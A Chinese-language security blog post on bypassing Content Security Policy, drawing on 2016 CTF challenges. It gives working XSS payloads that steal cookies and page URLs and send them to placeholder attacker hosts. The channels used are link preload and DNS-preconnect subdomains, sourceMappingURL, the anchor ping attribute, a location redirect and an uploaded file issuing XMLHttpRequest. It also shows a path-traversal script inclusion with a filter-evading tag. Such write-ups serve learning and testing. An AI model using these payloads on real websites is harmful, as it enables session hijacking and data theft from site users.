bypass csp學習

csp學習

環境測試:

2016年11月27日。
chrome 版本 54.0.2840.98 (64-bit)
firefox 版本 50.0

csp

csp是爲了緩解一些攻擊,比如xss、csrf。
以白名單的機制對網站加載或執行的資源起作用,通過 HTTP 頭信息或者 meta 元素定義

這樣就導致xss失效。

更多基礎知識可以看看這篇文章:

http://lorexxar.cn/2016/08/08/ccsp/

csp編寫網站:
http://cspisawesome.com/

主要是總結一下如何bypass

bypass csp

xxxx-src *

header("Content-Security-Policy: script-src *;");

*符號表示允許除了內聯函數以外所有的url式的請求,這樣可以通過src引用。

既然想用csp的人...可能一般不會這麼設置,最多問題是出在frame-src *,這樣同源問題導致不能xss(繞過同源另說),但是還是能進行csrf的。

script-src unsafe-inline

header("Content-Security-Policy: default-src 'none';script-src http://lemon.love/test/csp/ 'unsafe-inline';");

如果加上unsafe-inline,就不會阻止內聯代碼。=。=,

內聯代碼包括:<script>塊內容,內聯事件,內聯樣式

比如想加載http://love.lemon/1.js,但是隻限制在http://lemon.love/test/csp/裏。

但是可以執行內聯腳本。

default-src 'none'爲none,也就其他的加載不進來,無法講數據發送出去。雖然爲none可以導致xss數據沒法利用,但是網站估計也不能正常運行了。

xxxx-src self

self表示的是同源的url,所以貌似沒啥辦法可以加載遠程url來獲取數據。

header("Content-Security-Policy: default-src 'self';script-src http://lemon.love/test/csp/ 'unsafe-inline';style-src 'self' 'unsafe-inline'; img-src 'self'");

1、通過預加載

在 HTML5 中的一個新特性:頁面資源預加載,他是瀏覽器提供的一個技巧,目的是讓瀏覽器在空閒時間下載或預讀取一些文檔資源,用戶在將來將會訪問這些資源。一個Web頁面可以對瀏覽器設置一系列的預加載指示,當瀏覽器加載完當前頁面後,它會在後臺靜悄悄的加載指定的文檔,並把它們存儲在緩存裏。當用戶訪問到這些預加載的文檔後,瀏覽器能快速的從緩存裏提取給用戶。

可分爲:DNS-prefetch、subresource 和標準的 prefetch、preconnect、prerender

<!-- 預加載某個頁面 -->
<link rel='prefetch' href='http://xxxx'><!-- firefox -->
<link rel='prerender' href='http://xxxx'><!-- chrome -->
<!-- 預加載某個圖片 -->
<link rel='prefetch' href='http://xxxx/x.jpg'>
<!-- DNS 預解析 -->
<link rel="dns-prefetch" href="http://xxxx">
<!-- 特定文件類型預加載 -->
<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

經過測試:目前chrome還沒對預加載進行處理,firefox有進行處理,prefetch已不可用,但是dns預解析還是能用的。

如果能夠進行unsafe-inline的話,可以這樣構造來獲取數據。

chrome(http通道):

var n0t = document.createElement("link");n0t.setAttribute("rel", "preload");n0t.setAttribute("href", "//ipipipip/"+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})()));document.head.appendChild(n0t);

firefox(dns通道):

dc = document.cookie;dcl = dc.split(";");n0 = document.getElementsByTagName("HEAD")[0];for (var i=0; i<dcl.length;i++){console.log(dcl[i]);n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".xxx.io\">";}

不是所有的頁面都能夠被預加載,當資源類型如下時,講阻止預加載操作:

URL中包含下載資源
頁面中包含音頻、視頻
POST、PUT和DELET操作的ajax請求
HTTP認證
HTTPS頁面
含惡意軟件的頁面
彈窗頁面
佔用資源很多的頁面
打開了chrome developer tools開發工具

2、其他特性
jQuery sourcemap

document.write(`<script>
//@        sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);

a標籤的ping屬性

a=document.createElement('a');
a.href='#';
a.ping='http://xxx.io/?' + escape(document.cookie);
a.click();

http 204

location='//xxx.io/csi?' + escape(document.cookie);

文件上傳的助攻

如果沒有unsafe-inline的助攻,而且都是self的話,這樣也只能尋求站內的上傳點。

cctf 2016:

上傳的swf內容:

CWS
<script>var xml = new XMLHttpRequest(); xml.open('POST', 'http://xss.xxxxx.cc', true); xml.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xml.send('cookie='+document.cookie); </script>
<link rel='import' href='/upload/xxxxx'>

上傳後的文件也分目錄,比如上傳到upload目錄,但是如果csp限制是只能在static目錄下加載js。
比如hctf 2016:

Content-Security-Policy: default-src 'self'; script-src http://sguestbook.hctf.io/static/ 'sha256-n+kMAVS5Xj7r/dvV9ZxAbEX6uEmK+uen+HZXbLhVsVA=' 'sha256-2zDCsAh4JN1o1lpARla6ieQ5KBrjrGpn0OAjeJ1V9kg=' 'sha256-SQQX1KpZM+ueZs+PyglurgqnV7jC8sJkUMsG9KkaFwQ=' 'sha256-JXk13NkH4FW9/ArNuoVR9yRcBH7qGllqf1g5RnJKUVg=' 'sha256-NL8WDWAX7GSifPUosXlt/TUI6H8JU0JlK7ACpDzRVUc=' 'sha256-CCZL85Vslsr/bWQYD45FX+dc7bTfBxfNmJtlmZYFxH4=' 'sha256-2Y8kG4IxBmLRnD13Ne2JV/V106nMhUqzbbVcOdxUH8I=' 'sha256-euY7jS9jMj42KXiApLBMYPZwZ6o97F7vcN8HjBFLOTQ=' 'sha256-V6Bq3u346wy1l0rOIp59A6RSX5gmAiSK40bp5JNrbnw='; font-src http://sguestbook.hctf.io/static/ fonts.gstatic.com; style-src 'self' 'unsafe-inline'; img-src 'self'

可以通過%2f跨目錄這種來加載:

<scscriptript src="http://sguestbook.hctf.io/static/..%2fupload/a32642750cae25f4c5b020d9a66c5c5c"></scscriptript>

這裏要注意到點就是,js裏面的內容,雖然可以執行js了,但是獲取數據還是要依靠前面的那些技巧,而不是js平臺那些new Images等一些方式,不然受限制。

參考鏈接

http://lorexxar.cn/2016/08/08/ccsp/
http://paper.seebug.org/91/
https://blog.0daylabs.com/2016/09/09/bypassing-csp/
http://dogewatch.github.io/2016/11/01/By-Pass-CSP/

know it then do it
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章